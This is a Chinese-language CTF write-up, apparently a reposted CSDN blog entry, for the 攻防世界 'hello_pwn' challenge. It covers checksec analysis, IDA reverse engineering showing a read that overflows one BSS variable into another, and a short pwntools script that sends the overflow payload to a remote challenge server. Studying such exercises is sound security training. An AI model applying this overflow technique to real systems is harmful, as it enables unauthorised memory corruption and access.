攻防世界-PWN-hello_pwn

开始进军PWN题

目录

 

分析

拖入IDA

exp


分析

使用 file 和 checksec(查看程序的保护机制) 指令分析文件

x86-64 架构 Linux可执行文件ELF

checksec参数

Arch 程序架构信息。这里是amd64-64的

RELRO 主要针对 GOT 改写的攻击方式的保护 RELRO为” Partial RELRO”,说明我们对GOT表具有写权限。 这里也没作保护

Stack 栈保护 这里没有启用

NX 栈没有执行权限 这里是打开的

PIE 保护地址信息 这里关闭

 

拖入IDA

查看main函数

跟进sub_400686

所以main函数的if判断语句是重点,只要dword_60106C==1853186401 就可以拿到flag

这里还有一个read,也就是读取输入的点,将值保存在unk_601068

去看看它们在BSS段的地址,发现就在一起,而且unk_601068他的地址区域只有4个字节,而我们的read函数可以读取0x10,我们只要构造输入溢出到dword_60106C,将他的值用1853186401覆盖即可

 

exp

from pwn import *

p=remote('220.249.52.133',38133)

payload='a'*4+p64(1853186401)

p.recvuntil("lets get helloworld for bof")

p.sendline(payload)

print p.interactive()

 

猜你喜欢

转载自blog.csdn.net/weixin_43252204/article/details/108784198